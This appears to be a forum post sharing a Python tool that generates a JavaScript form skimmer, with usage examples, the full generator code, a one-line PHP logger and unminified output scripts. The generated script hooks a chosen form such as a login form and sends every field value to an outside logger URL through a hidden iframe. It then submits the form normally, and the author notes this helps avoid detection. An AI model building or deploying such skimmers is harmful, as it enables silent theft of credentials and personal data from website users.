I've been working on this for the past couple of days. It's a script that generates a JavaScript to use when trying to log form submissions. I'm not a Python or JavaScript expert, so I'm learning as I go. Feel free to suggest improvements!
python logger.py -h
usage: logger.py [-h] -l URL (--form-id FORM_ID | --form-position #)
[--delay DELAY] [-x] [--redirect URL] [--method GET, POST]
Form logging utility
optional arguments:
-h, --help show this help message and exit
-l URL, --logger URL Full url and path to the logger file
--form-id FORM_ID Value of the form's id attribute
--form-position # Position of the form on the page
--delay DELAY Delay before form is submitted. Default 250ms
-x, --ajax Send form using AJAX
--redirect URL Redirect here after submitting AJAX form
--method GET, POST What method to send request with
Examples:
python logger.py --logger "http://example.com/logger.php" --form-position 0
python logger.py --logger "http://example.com/logger.php" --form-id "login-form"
python logger.py --logger "http://example.com/logger.php" --form-id "login-form" --ajax
python logger.py --logger "http://example.com/logger.php" --form-id "login-form" > logger.js
How does it work?
It hooks itself to the form's submit event by adding an event listener. When the hijacked form receives a submit even it creates an iframe, sets the src attribute to the domain and logger uri path specified when creating the script, and attaching all the form elements and the domain the submitted forum exists on.
After this, the form will be submitted as it normally would be.
One important thing to keep in mind if using this script. If the form has an element named "submit" the --ajax option must be set, because this name generates a conflict with the submit() function in JavaScript. If you use the ajax method, make sure the method and redirect is set properly. This is important both for executing a successful form submission and to make it harder to detect the additional behavior.
Usage:
Generate a script which will intercept the form with id login-form
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" > logger.js
Generates a script which will intercept the 3rd form on the page. Remember that it starts counting at 0
$ python logger.py -l "http://mysite.com/logger.php" --form-position 2 > logger.js
Use AJAX to avoid the submit conflict
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" --ajax > logger.js
Set redirect and submit method
$ python logger.py -l "http://mysite.com/logger.php" --form-id "login-form" --ajax --redirect "/user/profile" --method POST > logger.js
Code:
#!/usr/bin/env python
from sys import argv
import argparse
from argparse import RawTextHelpFormatter
epilog = '''
Examples:
python {{file}} --logger "http://example.com/logger.php" --form-position 0
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form"
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form" --ajax
python {{file}} --logger "http://example.com/logger.php" --form-id "login-form" > logger.js
'''.replace('{{file}}', argv[0])
parser = argparse.ArgumentParser(description='Form logging utility', formatter_class=RawTextHelpFormatter, epilog=epilog)
parser.add_argument('-l', '--logger', metavar='URL', help='Full url and path to the logger file', required=True)
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('--form-id', help="Value of the form's id attribute")
group.add_argument('--form-position', metavar='#', help="Position of the form on the page")
parser.add_argument('--delay', help='Delay before form is submitted. Default 250ms')
parser.add_argument('-x', '--ajax', help='Send form using AJAX', action='store_true')
parser.add_argument('--redirect', metavar='URL', help='Redirect here after submitting AJAX form')
parser.add_argument('--method', metavar='GET, POST', help='What method to send request with', default='POST')
args = parser.parse_args()
logger = args.logger
delay = args.delay if args.delay is not None else str(250)
ajax = 0 if args.ajax is False else 1
redirect = str(args.redirect) if args.redirect is not None else '/'
method = str(args.method.upper()) if args.method is not None else 'POST'
if args.form_id is not None:
script = 'function ic(e){els=e.elements,ajax=%d,array=[];for(var t=0;t<els.length;t++)array.push(els[t].name+"="+els[t].value);array.push("__x__="+window.location.href),query=array.join("&"),frame=document.createElement("iframe"),e.appendChild(frame),frame.setAttribute("style","display:none;"),frame.setAttribute("src","%s?"+query),frame.src+="",window.setTimeout(function(){ajax?(xml=new XMLHttpRequest,xml.open("%s",e.action,!0),xml.send(query),window.location.href="%s"):e.submit()},%s)}var form=document.getElementById("%s");form.addEventListener("submit",function(e){return e.preventDefault(),ic(form),!1});'%(ajax,logger,method,redirect,delay,args.form_id)
elif args.form_position is not None:
script = 'function ic(e){els=e.elements,ajax=%d,array=[];for(var t=0;t<els.length;t++)array.push(els[t].name+"="+els[t].value);array.push("__x__="+window.location.href),query=array.join("&"),frame=document.createElement("iframe"),e.appendChild(frame),frame.setAttribute("style","display:none;"),frame.setAttribute("src","%s?"+query),frame.src+="",window.setTimeout(function(){ajax?(xml=new XMLHttpRequest,xml.open("%s",e.action,!0),xml.send(query),window.location.href="%s"):e.submit()},%s)}var form=document.forms[%s];form.addEventListener("submit",function(e){return e.preventDefault(),ic(form),!1});'%(ajax,logger,method,redirect,delay,args.form_position)
print script
print
Source of logger.php
<?php file_put_contents('log.txt', json_encode($_REQUEST) . "\n", FILE_APPEND); ?>
Unminified version of the script generated when using the id attribute (with hardcoded values)
function ic(form) {
els = form.elements;
ajax = 1;
array = [];
for (var i = 0; i < els.length; i++) {
array.push(els[i].name + '=' + els[i].value);
}
array.push('__x__=' + window.location.href);
query = array.join('&');
frame = document.createElement('iframe');
form.appendChild(frame);
frame.setAttribute('style', 'display:none;');
frame.setAttribute('src', 'http://localhost/logger.php?' + query);
frame.src += '';
window.setTimeout(function() {
if (ajax) {
xml=new XMLHttpRequest();
xml.open('POST', form.action, true);
xml.send(query);
window.location.href = 'auth.php';
} else {
form.submit()
}
}, 250);
}
var form = document.getElementById('login-form');
form.addEventListener('submit', function(event) {
event.preventDefault();
ic(form);
return false;
});
Unminified version of the script generated when using the form position (with hardcoded values)
function ic(form) {
els = form.elements;
ajax = 1;
array = [];
for (var i = 0; i < els.length; i++) {
array.push(els[i].name + '=' + els[i].value);
}
array.push('__x__=' + window.location.href);
query = array.join('&');
frame = document.createElement('iframe');
form.appendChild(frame);
frame.setAttribute('style', 'display:none;');
frame.setAttribute('src', 'http://localhost/logger.php?' + query);
frame.src += '';
window.setTimeout(function() {
if (ajax) {
xml=new XMLHttpRequest();
xml.open('POST', form.action, true);
xml.send(query);
window.location.href = 'auth.php';
} else {
form.submit()
}
}, 250);
}
var form = document.forms[0]
form.addEventListener('submit', function(event) {
event.preventDefault();
ic(form);
return false;
});